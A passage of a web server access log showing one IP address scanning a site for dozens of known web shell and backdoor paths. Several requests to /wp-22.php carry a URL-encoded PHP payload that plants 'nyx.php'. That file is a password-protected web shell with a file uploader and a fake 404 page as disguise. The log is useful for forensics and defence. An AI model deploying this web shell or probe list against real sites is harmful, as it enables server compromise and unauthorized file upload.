+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:00 +0530] "GET /wp-admin/includes/class-wp-pagebuilders-2myLvx.php HTTP/1.1" 302 270 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:00 +0530] "GET /i.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:01 +0530] "GET /mailer.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:01 +0530] "GET /templates/beez_20/index.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:02 +0530] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 302 269 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:03 +0530] "GET /file-manager.php HTTP/1.1" 302 236 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:05 +0530] "GET /.alf.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:06 +0530] "GET /wp-includes/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 264 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:06 +0530] "GET /ne.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:06 +0530] "GET /srx.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:07 +0530] "GET /ups.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:07 +0530] "GET /wp-admin/images/preg_class.php HTTP/1.1" 302 250 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:08 +0530] "GET /xmlrpc.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:08 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:10 +0530] "GET /7yn.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:11 +0530] "GET /images/ave.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:11 +0530] "GET /lf.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:12 +0530] "GET /xmlrpcs.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:12 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:12 +0530] "GET /7.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:12 +0530] "GET /wp-file.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:13 +0530] "GET /87.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:13 +0530] "GET /kevinpngjpg.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:14 +0530] "GET /b.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:15 +0530] "GET /wp-content/bala.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:15 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:16 +0530] "GET /8index.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:16 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:16 +0530] "GET /6.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:18 +0530] "GET /xz.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:18 +0530] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 302 266 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:18 +0530] "GET /.wp-cache.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:19 +0530] "GET /wp-content/uploads/jcjjjjcjjc.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:19 +0530] "GET /alfa123.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:20 +0530] "GET /rss.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:21 +0530] "GET /wp-includes/images/wlw/wp-signup.php HTTP/1.1" 302 256 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:23 +0530] "GET /10.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:23 +0530] "GET /wp-content/images/wolf-shell.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:24 +0530] "GET /.wp-back.phP HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:25 +0530] "GET /cp.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:25 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:25 +0530] "GET /haxor.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:25 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:25 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:25 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:25 +0530] "GET /wp-includes/images/media/shellwso.php HTTP/1.1" 302 257 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:25 +0530] "GET 